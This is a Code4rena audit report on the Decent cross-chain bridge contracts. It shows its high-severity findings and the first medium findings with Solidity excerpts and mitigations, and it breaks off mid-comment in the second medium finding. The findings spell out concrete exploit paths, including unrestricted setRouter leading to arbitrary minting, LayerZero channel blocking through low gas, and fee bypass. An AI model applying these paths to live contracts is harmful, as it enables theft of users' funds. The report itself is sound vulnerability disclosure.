Decent
Findings & Analysis Report
2024-03-22
Table of contents
- Summary
- Scope
- Severity Criteria
-
- [H-01] Anyone can update the address of the Router in the DcntEth contract to any address they would like to set.
- [H-02] Due to missing checks on minimum gas passed through LayerZero, executions can fail on the destination chain
- [H-03] When
DecentBridgeExecutor.execute
fails, funds will be sent to a random address - [H-04] Users will lose their cross-chain transaction if the destination router do not have enough WETH reserves.
-
- [M-01] Permanent loss of tokens if swap data gets outdated
- [M-02] Users can use the protocol freely without paying any fees by calling the
DecentEthRouter::bridgeWithPayload()
function directly. - [M-03] Missing access control on UTB:receiveFromBridge allows UTB swaps to be executed without spending bridge fees while bypassing fee/swap instruction signature verification
- [M-04] Potential loss of capital due to fixed fee calculations
- [M-05] DecentEthRouter.sol#_bridgeWithPayload() - Any refunded ETH (native token) will be refunded to the DecentBridgeAdapter, making them stuck
-
Low Risk and Non-Critical Issues
- L-01 Prevent gas griefing attacks that’s possible with custom
address.call
- L-02 No
deadline
and address zero check for signatures - L-03 Lack of
deadline
protection for swap - N-01 Lack of address existence check
- N-02
_sendToRecipient(...)
is unnecessary if thereceiver
is passed as thereceipient
of the swap parameter.
- L-01 Prevent gas griefing attacks that’s possible with custom
- Gas Optimizations
-
- Table of Contents
- Auditor’s Disclaimer
- Using immutable on variables that are only set in the constructor and never after (Save 8400 Gas) - Missed by bots
- Unnecessary SLOADs due to how functions are executed
- Save an entire sload by using short circuiting to our advantage
- Use the memory variable instead of reading the state variable
- Unnecessary use of concat function
- Declare a constant variable for
GAS_FOR_RELAY
- Refactor the modifier to save 1 SLOAD(100 Gas)
- Using unchecked blocks to save gas
- Cache storage values in memory to minimize SLOADs
- Unused private functions should be deleted
- Conclusion
- Disclosures
Overview
About C4
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit outlined in this document, C4 conducted an analysis of the Decent smart contract system written in Solidity. The audit took place between January 19—January 23 2024.
Wardens
120 Wardens contributed reports to Decent:
- windhustler
- EV_om
- NPCsCorp (0xStalin and sin1st3r__)
- iamandreiski
- haxatron
- Soliditors (Tadev, 3docSec and 0xBeirao)
- nuthan2x
- deth
- MrPotatoMagic
- Aamir
- peanuts
- rouhsamad
- monrel
- nmirchev8
- Topmark
- wangxx2026
- gesha17
- bart1e
- NentoR
- imare
- DadeKuma
- SBSecurity (Slavcheww and Blckhv)
- c3phas
- fouzantanveer
- slvDev
- 0x11singh99
- 0xSmartContract
- yongskiws
- 0xepley
- SAQ
- catellatech
- Shaheen
- Kaysoft
- bronze_pickaxe
- Tendency
- Kow
- ZdravkoHr
- nobody2018
- ether_sky
- kutugu
- Giorgio
- 0xJaeger
- Eeyore
- hunter_w3b
- Inference
- 0xAadi
- cu5t0mpeo
- zaevlad
- dharma09
- Raihan
- GhK3Ndf
- ihtishamsudo
- foxb868
- clara
- albahaca
- dutra
- Aymen0909
- CDSecurity (chrisdior4 and ddimitrov22)
- th13vn
- pkqs90
- 0xDING99YA
- antonttc
- Timepunk
- ptsanev
- Matue
- 0xdedo93
- SovaSlava
- Pechenite (Bozho and radev_sw)
- 0xmystery
- rjs
- IceBear
- zxriptor
- mgf15
- ZanyBonzy
- seraviz
- 0xSimeon
- azanux
- 0xprinc
- Timeless
- slylandro_star
- 0xdice91
- Nikki
- ke1caM
- Greed
- al88nsk
- DarkTower (Gelato_ST, Maroutis, OxTenma, and 0xrex)
- Timenov
- ravikiranweb3
- mrudenko
- 0xBugSlayer
- GeekyLumberjack
- adeolu
- stealth
- simplor
- PUSH0 (jojo and thekmj)
- 0xabhay
- darksnow
- m4ttm
- 0xE1
- boredpukar
- abiih
- bareli
- vnavascues
- d4r3d3v1l
- 0xPluto
- Krace
- kodyvim
- Tigerfrake
- JanuaryPersimmon2024
- piyushshukla
This audit was judged by 0xsomeone.
Final report assembled by PaperParachute.
Summary
The C4 analysis yielded an aggregated total of 9 unique vulnerabilities. Of these vulnerabilities, 4 received a risk rating in the category of HIGH severity and 5 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 15 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 6 reports recommending gas optimizations.
All of the issues presented here are linked back to their original finding.
Scope
The code under review can be found within the C4 Decent repository, and is composed of 11 smart contracts written in the Solidity programming language and includes 1209 lines of Solidity code.
In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, vuln-detector from warden(s) oualidpro, generated the Automated Findings report and all findings therein were classified as out of scope.
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
High Risk Findings (4)
[H-01] Anyone can update the address of the Router in the DcntEth contract to any address they would like to set.
Submitted by NPCsCorp, also found by seraviz, dutra, 0xSimeon, EV_om, azanux, Aymen0909, 0xprinc, ZdravkoHr, 0x11singh99, CDSecurity, nuthan2x, GhK3Ndf, 0xAadi, Eeyore, ZanyBonzy (1, 2), DadeKuma, Matue, Timeless, Giorgio, slylandro_star, 0xdice91, Nikki, ke1caM, cu5t0mpeo, Greed, nobody2018, Tendency, Inference, al88nsk, DarkTower, th13vn, Soliditors, Timenov, wangxx2026, NentoR, ether_sky, peanuts, MrPotatoMagic, ravikiranweb3, mrudenko, Kaysoft, deth, 0xBugSlayer, nmirchev8, GeekyLumberjack, Aamir, adeolu, stealth, simplor, PUSH0, 0xabhay, darksnow, haxatron, m4ttm, 0xE1, boredpukar, abiih, 0xSmartContract, bareli, mgf15 (1, 2, 3, 4), vnavascues, d4r3d3v1l, zaevlad, 0xPluto, rouhsamad, Krace, kodyvim, Tigerfrake, JanuaryPersimmon2024, and piyushshukla
By allowing anybody to set the address of the Router contract to any address they want to set it allows malicious users to get access to the mint and burn functions of the DcntEth contract.
Proof of Concept
The DcntEth::setRouter() function
has not an access control to restrict who can call this function. This allows anybody to set the address of the router contract to any address they’d like to set it.
DcntEth.sol
//@audit-issue => No access control to restrict who can set the address of the router contract
function setRouter(address _router) public {
router = _router;
}
The functions DcntEth::mint() function
& DcntEth::burn() function
can be called only by the router contract.
DcntEth.sol
//@audit-info => Only the router can call the mint()
function mint(address _to, uint256 _amount) public onlyRouter {
_mint(_to, _amount);
}
//@audit-info => Only the router can call the burn()
function burn(address _from, uint256 _amount) public onlyRouter {
_burn(_from, _amount);
}
A malicious user can set the address of the router contract to an account of their own and:
- Gain access to mint unlimited amounts of DcntEth token, which could be used to disrupt the crosschain accounting mechanism, or to steal the deposited weth in the DecentEthRouter contract.
- Burn all the DcntEth tokens that were issued to the DecentEthRouter contract when liquidity providers deposited their WETH or ETH into it.
- Cause a DoS to the add and remove liquidity functions of the DecentEthRouter contract. All of these functions end up calling the
DcntEth::mint() function
or theDcntEth::burn() function
, if the router address is set to be different than the address of the DecentEthRouter, all the calls made from the DecentEthRouter to the DcnEth contract will revert.
DecentEthRouter.sol
/// @inheritdoc IDecentEthRouter
function addLiquidityEth()
public
payable
onlyEthChain
userDepositing(msg.value)
{
weth.deposit{value: msg.value}();
//@audit-issue => If router in the dcnteth contract is not set to the address of the DecentEthRouter, this call will revert
dcntEth.mint(address(this), msg.value);
}
/// @inheritdoc IDecentEthRouter
function removeLiquidityEth(
uint256 amount
) public onlyEthChain userIsWithdrawing(amount) {
//@audit-issue => If router in the dcnteth contract is not set to the address of the DecentEthRouter, this call will revert
dcntEth.burn(address(this), amount);
weth.withdraw(amount);
payable(msg.sender).transfer(amount);
}
/// @inheritdoc IDecentEthRouter
function addLiquidityWeth(
uint256 amount
) public payable userDepositing(amount) {
weth.transferFrom(msg.sender, address(this), amount);
//@audit-issue => If router in the dcnteth contract is not set to the address of the DecentEthRouter, this call will revert
dcntEth.mint(address(this), amount);
}
/// @inheritdoc IDecentEthRouter
function removeLiquidityWeth(
uint256 amount
) public userIsWithdrawing(amount) {
//@audit-issue => If router in the dcnteth contract is not set to the address of the DecentEthRouter, this call will revert
dcntEth.burn(address(this), amount);
weth.transfer(msg.sender, amount);
}
Recommended Mitigation Steps
Make sure to add an Acess Control mechanism to limit who can set the address of the Router in the DcnEth contract.
This and all relevant submissions correctly specify that the lack of access control in the
DcntEth::setRouter
function can be exploited maliciously and effectively compromise the entire TVL of the Decent ETH token.A high-risk severity is appropriate, and this submission was selected as the best due to detailing all possible impacts:
- Arbitrary mints of the token to withdraw funds provided as liquidity to
UTB
- Arbitrary burns to sabotage liquidity pools and other escrow-based contracts
- Sabotage of liquidity provision function invocations
[H-02] Due to missing checks on minimum gas passed through LayerZero, executions can fail on the destination chain
Submitted by iamandreiski, also found by NPCsCorp, EV_om, windhustler (1, 2), and nuthan2x
In LayerZero, the destination chain’s function call requires a specific gas amount; otherwise, it will revert with an out-of-gas exception. It falls under the responsibility of the User Application to ensure that appropriate limits are established. These limits guide relayers in specifying the correct gas amount on the source chain, preventing users from inputting insufficient values for gas.
The contract logic in DecentEthRouter
, assumes that a user will first get their estimated fees through estimateSendAndCallFee()
and pass it as an argument in either bridge()
or bridgeWithPayload()
to be added to the calculation together with the hardcoded GAS_FOR_RELAY
so that it can be passed as the adapter params when CommonOFT.LzCallParams
is called, although this is not enforced and is left on the user’s responsibility.
A user can pass an arbitrary value as the _dstGasForCall
argument to be added to the hardcoded GAS_FOR_RELAY
fee, thus sending less gas than required which can lead to out-of-gas exceptions.
Once the message is received by destination, the message is considered delivered (transitioning from INFLIGHT to either SUCCESS or STORED), even though it threw an out-of-gas error.
Any uncaught errors/exceptions (including out-of-gas) will cause the message to transition into STORED. A STORED message will block the delivery of any future message from source to all destination on the same destination chain and can be retried until the message becomes SUCCESS.
As per: https://layerzero.gitbook.io/docs/faq/messaging-properties
Proof of Concept
According to the LayerZero integration checklist:
https://layerzero.gitbook.io/docs/troubleshooting/layerzero-integration-checklist
LayerZero recommends a 200,000 amount of gas to be enough for most chains and is set as default.
- “200k for OFT for all EVMs except Arbitrum is enough. For Arbitrum, set as 2M.”
In the DecentEthRouter, the GAS_FOR_RELAY
is hardcoded at 100,000.
uint256 GAS_FOR_RELAY = 100000;
uint256 gasAmount = GAS_FOR_RELAY + _dstGasForCall;
The contract logic assumes that a user would willingly first call the estimateSendAndCallFee
to get the nativeFee
+ the zroFee
fom dcntEth.estimateSendAndCallFee
and then pass the addition of the nativeFee + zeroFee as the _dstGasForCall
argument when calling bridge()
or bridgeWithPayload()
:
function bridgeWithPayload(
uint16 _dstChainId,
address _toAddress,
uint _amount,
bool deliverEth,
uint64 _dstGasForCall,
bytes memory additionalPayload
) public payable {
return
_bridgeWithPayload(
MT_ETH_TRANSFER_WITH_PAYLOAD,
_dstChainId,
_toAddress,
_amount,
_dstGasForCall,
additionalPayload,
deliverEth
);
}
Once the internal _bridgeWithPayload
function is called:
bytes32 destinationBridge,
bytes memory adapterParams,
bytes memory payload
) = _getCallParams(
msgType,
_toAddress,
_dstChainId,
_dstGasForCall,
deliverEth,
additionalPayload
);
ICommonOFT.LzCallParams memory callParams = ICommonOFT.LzCallParams({
refundAddress: payable(msg.sender),
zroPaymentAddress: address(0x0),
adapterParams: adapterParams
});
It calls the _getCallParams
function which will calculate and pack the needed arguments to be passed as the LayerZero call params, without performing any checks whether the total gas amount is sufficient or that the user passed argument _dstGasForCall
is greater than the total of (uint nativeFee, uint zroFee) = dcntEth.estimateSendAndCallFee
.
function _getCallParams(
uint8 msgType,
address _toAddress,
uint16 _dstChainId,
uint64 _dstGasForCall,
bool deliverEth,
bytes memory additionalPayload
)
private
view
returns (
bytes32 destBridge,
bytes memory adapterParams,
bytes memory payload
)
{
uint256 GAS_FOR_RELAY = 100000;
uint256 gasAmount = GAS_FOR_RELAY + _dstGasForCall;
adapterParams = abi.encodePacked(PT_SEND_AND_CALL, gasAmount);
This can lead to failed messages on the destination. Which would yield the above-message results of a possible blockage in the communication with the source and destination.
- A malicious or an unbeknownst user can pass 1,000 as an argument for
_dstGasForCall
, making the total gas forwarded to theLzCallParams()
101,000 which will make a certain type of calls fail (depending on payload), and especially calls made on Arbitrum.
Recommended Mitigation Steps
Validate/require that the _dstGasForCall
parameter is greater than nativeFee
+ zroFee
or re-engineer the architecture to make the estimateSendAndCallFee()
function a mandatory step of the process.
0xsomeone (Judge) increased severity to High and commented:
This and all duplicate exhibits highlight that the
GAS_FOR_RELAY
is a hard-coded value and that the overall gas supplied for a cross-chain call can be controlled by a user.A severity of high is appropriate given that the cross-chain LayerZero channel will be permanently blocked.
None of the submissions have correctly proposed a solution as a mere adjustment of the
GAS_FOR_RELAY
is insufficient. TheDecentBridgeExecutor
permits arbitrary calls to be made that can force the transaction to run out-of-gas regardless of the gas limit imposed. This is properly defined in #697.A valid solution for this problem would be a combination of a minimum enforced at the transaction level and a maximum gas consumed enforced at the executor level, ensuring that the gas remainder after the executor performs the arbitrary call is enough to store the failed message. This can be achieved by performing a subtraction from the
gasleft
value (hard to implement as it would need to take into account the cost ofkeccak256
encoding the data payload) or by enforcing a fixed value that should be much less than the minimum imposed on the source chain.This submission was selected as the best given that it illustrates in-depth knowledge of the LayerZero system states and correctly highlights that a user can also maliciously block the channel.
wkantaros (Decent) acknowledged via duplicate #212, but disagreed with severity and commented:
This vulnerability is not a concern in Layer Zero v2. Decent designed the contracts expecting to use LZ v2 and have since implemented this upgrade.
[H-03] When DecentBridgeExecutor.execute
fails, funds will be sent to a random address
Submitted by DadeKuma, also found by NPCsCorp, MrPotatoMagic, SBSecurity, deth, nmirchev8, Tendency, ether_sky, Kow, haxatron, EV_om, 0xJaeger, ZdravkoHr, Giorgio, Soliditors, Aamir, Eeyore, Inference, and kutugu
When the DecentBridgeExecutor._executeWeth/_executeEth
target call fails, a refund is issued to the from
address.
However, this address is wrongly set, so those refunds will be permanently lost.
Proof of Concept
UTB.bridgeAndExecute
(Link) calls DecentBridgeAdapter.bridge
(Link), which calls DecentEthRouter.bridgeWithPayload
(Link), where the payload is constructed (Link):
function _bridgeWithPayload(
uint8 msgType,
uint16 _dstChainId,
address _toAddress,
uint _amount,
uint64 _dstGasForCall,
bytes memory additionalPayload,
bool deliverEth
) internal {
(
bytes32 destinationBridge,
bytes memory adapterParams,
bytes memory payload
) = _getCallParams(
msgType,
_toAddress,
_dstChainId,
_dstGasForCall,
deliverEth,
additionalPayload
);
...
Inside _getCallParams
the from
address is the msg.sender
, i.e. the DecentBridgeAdapter
address on the source chain (Link):
function _getCallParams(
uint8 msgType,
address _toAddress,
uint16 _dstChainId,
uint64 _dstGasForCall,
bool deliverEth,
bytes memory additionalPayload
)
private
view
returns (
bytes32 destBridge,
bytes memory adapterParams,
bytes memory payload
)
{
uint256 GAS_FOR_RELAY = 100000;
uint256 gasAmount = GAS_FOR_RELAY + _dstGasForCall;
adapterParams = abi.encodePacked(PT_SEND_AND_CALL, gasAmount);
destBridge = bytes32(abi.encode(destinationBridges[_dstChainId]));
if (msgType == MT_ETH_TRANSFER) {
@> payload = abi.encode(msgType, msg.sender, _toAddress, deliverEth);
} else {
payload = abi.encode(
msgType,
@> msg.sender, //@audit 'from' address
_toAddress,
deliverEth,
additionalPayload
);
}
}
After the payload is constructed, DecentEthRouter
sends the message:
dcntEth.sendAndCall{value: gasValue}(
address(this), // from address that has dcntEth (so DecentRouter)
_dstChainId,
destinationBridge, // toAddress
_amount, // amount
payload, //payload (will have recipients address)
_dstGasForCall, // dstGasForCall
callParams // refundAddress, zroPaymentAddress, adapterParams
);
Finally, on the destination chain, DecentEthRouter
will receive the message (Link):
function onOFTReceived(
uint16 _srcChainId,
bytes calldata,
uint64,
bytes32,
uint _amount,
bytes memory _payload
) external override onlyLzApp {
//@audit from is the decentBridgeAdapter address on the source chain
(uint8 msgType, address _from, address _to, bool deliverEth) = abi
.decode(_payload, (uint8, address, address, bool));
...
}
At the end of this function, the executor
is invoked with the same _from
address:
} else {
weth.approve(address(executor), _amount);
executor.execute(_from, _to, deliverEth, _amount, callPayload);
}
Finally, this is the execute
function in DecentBridgeExecutor
(Link):
function execute(
address from,
address target,
bool deliverEth,
uint256 amount,
bytes memory callPayload
) public onlyOwner {
weth.transferFrom(msg.sender, address(this), amount);
if (!gasCurrencyIsEth || !deliverEth) {
_executeWeth(from, target, amount, callPayload);
} else {
_executeEth(from, target, amount, callPayload);
}
}
Both _executeWeth
and _executeEth
have the same issue and funds will be lost when the target call fails, for example _executeEth
(Link):
function _executeEth(
address from,
address target,
uint256 amount,
bytes memory callPayload
) private {
weth.withdraw(amount);
(bool success, ) = target.call{value: amount}(callPayload);
if (!success) {
@> payable(from).transfer(amount); //@audit wrong address as it uses the source address, not destination
}
}
Now, DecentBridgeAdapter
as a refund address seems wrong, as I disclosed in another issue, but let’s suppose that it isn’t, as it’s possible to prove both scenarios.
As proof by contradiction, funds should be sent to DecentBridgeAdapter
, and this would be a non-issue if these contracts are deployed with CREATE2
, as they would have the same address. But they are not deployed like that.
There is hard evidence that they have different addresses, for example, these are the addresses for DcntEth
and DecentEthRouter
in two different chains, which are already deployed:
lib/decent-bridge/actual-deployments/latest/arbitrumAddresses.json
{
"arbitrum_DcntEth": "0x8450e1A0DebF76fd211A03c0c7F4DdbB1eEF8A85",
"done": true,
"arbitrum_DecentEthRouter": "0x17479B712A1FE1FFaeaf155379DE3ad1440fA99e"
}
lib/decent-bridge/actual-deployments/latest/optimismAddresses.json
{
"DcntEth": "0x4DB4ea27eA4b713E766bC13296A90bb42C5438D0",
"done": true,
"DecentEthRouter": "0x57beDF28C3CB3F019f40F330A2a2B0e0116AA0c2"
}
If we take a look at the deploy script for DecentBridgeAdapter
it also doesn’t use CREATE2
, as there isn’t a factory:
function deployDecentBridgeAdapter(
address utb,
address decentEthRouter,
address decentBridgeExecutor
) internal returns (
DecentBridgeAdapter decentBridgeAdapter
) {
string memory chain = vm.envString("CHAIN");
bool gasIsEth = gasEthLookup[chain];
address weth = wethLookup[chain];
address bridgeToken = gasIsEth ? address(0) : weth;
@> decentBridgeAdapter = new DecentBridgeAdapter(gasIsEth, bridgeToken);
decentBridgeAdapter.setUtb(utb);
decentBridgeAdapter.setRouter(decentEthRouter);
decentBridgeAdapter.setBridgeExecutor(decentBridgeExecutor);
UTB(payable(utb)).registerBridge(address(decentBridgeAdapter));
}
So these funds will be sent to a random address in any case.
Recommended Mitigation Steps
The executor.execute
call in DecentEthRouter.onOFTReceived
should be changed to an appropriate address (e.g. the user refund address) instead of using _from
:
} else {
weth.approve(address(executor), _amount);
executor.execute(_from, _to, deliverEth, _amount, callPayload);
}
The Warden has detailed how the encoding of the cross-chain payload will use an incorrect
_from
parameter under normal operating conditions, leading to failed transfers at the target chain refunding the wrong address.This submission was selected as the best given that it precisely details that the
_from
address is known to be incorrect at all times when the protocol is used normally.A high-risk rating is appropriate as any failed call will lead to full fund loss for the cross-chain call.
[H-04] Users will lose their cross-chain transaction if the destination router do not have enough WETH reserves.
Submitted by haxatron, also found by EV_om, MrPotatoMagic, deth, rouhsamad, Aamir, Topmark, and bart1e
When the DecentEthRouter receives the dcntEth OFT token from a cross-chain transaction, if the WETH balance of the destination router is less than amount of dcntEth received (this could be due to the router receiving more cross-chain transactions than than sending cross-chain transactions which depletes its WETH reserves), then the dcntEth will get transferred to the address specified by _to
.
function onOFTReceived(
uint16 _srcChainId,
bytes calldata,
uint64,
bytes32,
uint _amount,
bytes memory _payload
) external override onlyLzApp {
...
if (weth.balanceOf(address(this)) < _amount) {
=> dcntEth.transfer(_to, _amount);
return;
}
if (msgType == MT_ETH_TRANSFER) {
if (!gasCurrencyIsEth || !deliverEth) {
weth.transfer(_to, _amount);
} else {
weth.withdraw(_amount);
payable(_to).transfer(_amount);
}
} else {
weth.approve(address(executor), _amount);
executor.execute(_from, _to, deliverEth, _amount, callPayload);
}
}
This dcntEth is sent to the user so that they can either redeem the WETH / ETH from the router once the WETH balance is refilled or send it back to the source chain to redeem back the WETH.
The problem is that if the msgType != MTETHTRANSFER, then the _to
address is not the user, it is instead the target meant to be called by the destination chain’s bridge executor (if the source chain uses a decent bridge adapter, the target is always the destination chain’s bridge adapter which does not have a way to withdraw the dcntEth).
The following snippet shows what occurs in the bridge executor (_executeEth
omitted as it does largely the same thing as _executeWeth
):
DecentBridgeExecutor.sol#L24-L82
function _executeWeth(
address from,
address target,
uint256 amount,
bytes memory callPayload
) private {
uint256 balanceBefore = weth.balanceOf(address(this));
weth.approve(target, amount);
(bool success, ) = target.call(callPayload);
if (!success) {
weth.transfer(from, amount);
return;
}
uint256 remainingAfterCall = amount -
(balanceBefore - weth.balanceOf(address(this)));
// refund the sender with excess WETH
weth.transfer(from, remainingAfterCall);
}
...
function execute(
address from,
address target,
bool deliverEth,
uint256 amount,
bytes memory callPayload
) public onlyOwner {
weth.transferFrom(msg.sender, address(this), amount);
if (!gasCurrencyIsEth || !deliverEth) {
_executeWeth(from, target, amount, callPayload);
} else {
_executeEth(from, target, amount, callPayload);
}
}
Therefore, once the dcntEth is transferred to the execution target (which is almost always the destination chain bridge adapter, see Appendix for the code walkthrough). The user cannot do anything to retrieve the dcntEth out of the execution target, so the cross-chain transaction is lost.
Recommended Mitigation Steps
Pass a destination chain refund address into the payload sent cross-chain and replace the _to
address used in DecentEthRouter.sol#L267:
if (weth.balanceOf(address(this)) < _amount) {
// REPLACE '_to' with the destination chain refund address
=> dcntEth.transfer(_to, _amount);
return;
}
Appendix
To see why the target is always the destination bridge adapter if the source chain is a decent bridge adapter:
UTB.sol will first call the bridge
function in the adapter with the destination bridge adapter address as the 2nd argument.
DecentBridgeAdapter.sol#L117C1-L124C11
function bridge(
...
router.bridgeWithPayload{value: msg.value}(
lzIdLookup[dstChainId],
destinationBridgeAdapter[dstChainId],
swapParams.amountIn,
false,
dstGas,
bridgePayload
);
}
Which calls the below function in the router, where the _toAddress
is the 2nd argument and therefore is the destination bridge adapter address:
DecentEthRouter.sol#L196C1-L204C23
/// @inheritdoc IDecentEthRouter
function bridgeWithPayload(
uint16 _dstChainId,
address _toAddress,
uint _amount,
bool deliverEth,
uint64 _dstGasForCall,
bytes memory additionalPayload
) public payable {
return
_bridgeWithPayload(
MT_ETH_TRANSFER_WITH_PAYLOAD,
_dstChainId,
_toAddress,
_amount,
_dstGasForCall,
additionalPayload,
deliverEth
);
...
which calls _bridgeWithPayload
which calls _getCallParams
to encode the payload to send to the destination chain:
DecentEthRouter.sol#L148C1-L168C15
function _bridgeWithPayload(
uint8 msgType,
uint16 _dstChainId,
address _toAddress,
uint _amount,
uint64 _dstGasForCall,
bytes memory additionalPayload,
bool deliverEth
) internal {
(
bytes32 destinationBridge,
bytes memory adapterParams,
bytes memory payload
) = _getCallParams(
msgType,
_toAddress,
_dstChainId,
_dstGasForCall,
deliverEth,
additionalPayload
);
...
The _toAddress
parameter is always the 3rd parameter in the payload sent.
function _getCallParams
...
if (msgType == MT_ETH_TRANSFER) {
payload = abi.encode(msgType, msg.sender, _toAddress, deliverEth);
} else {
payload = abi.encode(
msgType,
msg.sender,
_toAddress,
deliverEth,
additionalPayload
);
}
...
Which matches _to
variable in onOFTReceived
/// @inheritdoc IOFTReceiverV2
function onOFTReceived(
uint16 _srcChainId,
bytes calldata,
uint64,
bytes32,
uint _amount,
bytes memory _payload
) external override onlyLzApp {
(uint8 msgType, address _from, address _to, bool deliverEth) = abi
.decode(_payload, (uint8, address, address, bool));
bytes memory callPayload = "";
if (msgType == MT_ETH_TRANSFER_WITH_PAYLOAD) {
(, , , , callPayload) = abi.decode(
_payload,
(uint8, address, address, bool, bytes)
);
}
...
wkantaros (Decent) confirmed but disagreed with severity
This and all duplicate submissions detail an interesting way in which cross-chain relays will fail to properly invoke the target recipient of the relayed call, effectively leading to loss of funds as the assets will be transferred to an entity that potentially is not equipped to handle the token.
Based on discussions in #505, this is a very likely scenario and thus a high-risk severity is appropriate as the vulnerability should manifest consistently in non-Ethereum chains.
Medium Risk Findings (5)
[M-01] Permanent loss of tokens if swap data gets outdated
Submitted by windhustler, also found by monrel, nuthan2x, and imare
While sending funds through StargateBridgeAdapter
, the user passes the swap data as a parameter. The flow is stargate sending tokens on the receiving chain into the StargateBridgeAdapter
and executing sgReceive
.
The issue here is that sgReceive
will fail if the swap data gets outdated, but this is not going to make the whole transaction revert.
Stargate will still send the tokens to the StargateBridgeAdapter
, and if the sgReceive
fails, the swap will be cached for later execution.
See StargateComposer
logic here: https://stargateprotocol.gitbook.io/stargate/stargate-composability/stargatecomposer.sol#sgreceive.
Now, tokens will be left sitting in the StargateBridgeAdapter
contract, and since the user can only retry the transaction with the same swap data, the tokens will be stuck forever.
The impact is loss of transferred tokens for the user.
Proof of Concept
Consider the following flow:
- User invokes
StargateBridgeAdapter:bridge()
function as part of the whole flow of callingUTB:bridgeAndExecute()
function. - He is passing the swapData parameters to the remote chain.
StargateComposer
first transfers the tokens to theStargateBridgeAdapter
contract.- After that the
StargateBridgeAdapter:sgReceive()
function is executed. - It then calls
UTB:receiveFromBridge
that tries to execute the swap. - If the swap fails, which can frequently occur due to the fact that the swap data is outdated, most commonly minimum amount out gets outdated.
- The whole payload gets stored inside the
StargateComposer
contract, and the tokens are left in theStargateBridgeAdapter
contract. - As the user can only retry the transaction with the same payload, the tokens will be stuck forever.
- An example of StargateComposer contract can be seen on: https://stargateprotocol.gitbook.io/stargate/developers/contract-addresses/mainnet#ethereum
Note: The application needs to use the StargateComposer
contract as opposed to StargateRouter because it is transferring funds with payload, i.e. it executes sgReceive
on the receiving chain.
You can only use StargateRouter
directly if you’re sending funds empty payload.
More on it: https://stargateprotocol.gitbook.io/stargate/stargate-composability
Recommended Mitigation Steps
Wrap the whole StargateBridgeAdapter:receiveFromBridge()
call into a try/catch and if it reverts send the transferred tokens back to the user.
0xsomeone (Judge) decreased severity to Medium and commented:
The Warden has demonstrated that it is possible for a Stargate-based cross-chain interaction to fail at the swap level perpetually.
While the
StargateComposer::clearCachedSwap
function exists to retry the same payload, as the Warden states, a sharp market event (i.e. token launch that leads to an upward trend or market crash that leads to a downward event) can cause the swap to fail.Theoretically, the tokens can be rescued using a flash-loan if they are substantial, however, this would be very unconventional and not a real mitigation to the issue. The proposed solution by the Warden is adequate.
I believe a severity of Medium is more appropriate as the vulnerability relies on external requirements (i.e. a sharp market event), the maximum impact is the user’s own funds, and when users specify slippage (i.e. minimum output) they usually factor in the time it takes for a transaction to execute. Network congestion, market events, and cross-chain relay delays all play a role in whether the vulnerability manifests but present external requirements.
Note: For full discussion, see here.
[M-02] Users can use the protocol freely without paying any fees by calling the DecentEthRouter::bridgeWithPayload()
function directly.
Submitted by NPCsCorp, also found by Soliditors, peanuts, nmirchev8, and haxatron
The execution flow of bridgeAndExecute
function
To understand the vulnerability, we need to understand the execution flow of the bridgeAndExecute()
function, at least a small portion of it.
When the user wants to bridge tokens of him and execute an action on another chain, he will need to execute the UTB::bridgeAndExecute()
function.
Suppose the user exists in Polygon, he has USDC and he wants to mint an NFT in Optimism which costs 1000 DAI. What will happen is that the protocol will first, in polygon, swap the user’s USDC with WETH, then bridge the WETH to Optimism, then swap the WETH with DAI and then execute the arbitrary call the user wants to execute, which will be to mint the NFT in exchange for the resulting 1000 DAI from the post-bridge swap operation.
When this function is called, the following will happen:
- Step 1: When the user calls the
UTB::bridgeAndExecute()
function, it will do three things: first, it will collect the fees by calling theUTBFeeCollector:collectFees()
function, secondly, it will conduct the pre-bridge swap operation (occurs in the source destination), it will swap the user’s USDC to WETH. thirdly, it will modify theswapInstructions
which the user supplied to prepare for the post-bridge swap. Then after all of the 3 operations take place, it will invoke theUTB::callBridge()
function. - Step 2: In the
UTB::callBridge()
function, some approvals are granted to theDecentBridgeAdapter
contract, and then the it will invoke the functionDecentBridgeAdapter::bridge()
in theDecentBridgeAdapter
contract. - Step 3: In the
DecentBridgeAdapter::bridge()
function, some data like the post-bridge swap payload and bridge payload (what to execute when the TX reaches destination) will be encoded, then it will reach out to theDecentEthRouter
contract and invoke the functionDecentEthRouter::bridgeWithPayload
-
Step 4: When the execution reaches the
DecentEthRouter::bridgeWithPayload
function, an internal function containing the actual logic, with the same name will also be called:DecentEthRouter::_bridgeWithPayload
Note: Notice that the `DecentEthRouter::bridgeWithPayload() function isn’t protected by any modifiers, any body can call it directly
- Step 5: When the execution gets inside the
DecentEthRouter::_bridgeWithPayload
function, the function will prepare theLzCallParams
for the layerzero call and the actual bridging will happen when thedcntEth::sendAndCall
function is actually invoked. - Step 6: The bridging process kickstarts and the execution flow is continued in the destination chain.
Here is a graph of the execution flow
Note: to view the provided image, please see the original submission here.
The vulnerability & PoC
The vulnerability is that any user can conduct the pre-bridge swap operation using uniswap by himself, prepare the right calldata and call the function DecentEthRouter::bridgeWithPayload
directly (since anybody can call it), doing so will allow the user to bypass the fee collection process completely.
The fee collection as mentioned in the previously detailed execution flow, happens when the user first calls the bridgeAndExecute()
function. But as I mentioned, nothing really forces him to start execution from there. All that function does is collect the fees, conduct the pre-bridge swap operation and prepare the proper call data. The user can conduct the pre-bridge swap operation himself, prepare the proper calldata and talk directly to the DecentEthRouter::bridgeWithPayload
function, effecitvely bypassing fee collection.
Anybody can call the DecentEthRouter::bridgeWithPayload
directly, and the protocol has no mechanism of determining whether or not the user is using the protocol with or without paying fees.
Impact
Users can use the protocol without paying any fees.
Recommended Mitigation Steps
Tighten up the access control on the DecentEthRouter::bridgeWithPayload
function. Allow only the DecentBridgeAdapter to call the bridgeWithPayload() function.
Found & reported by: sin1st3r__
Team: NPCsCorp
0xsomeone (Judge) decreased severity to Medium and commented:
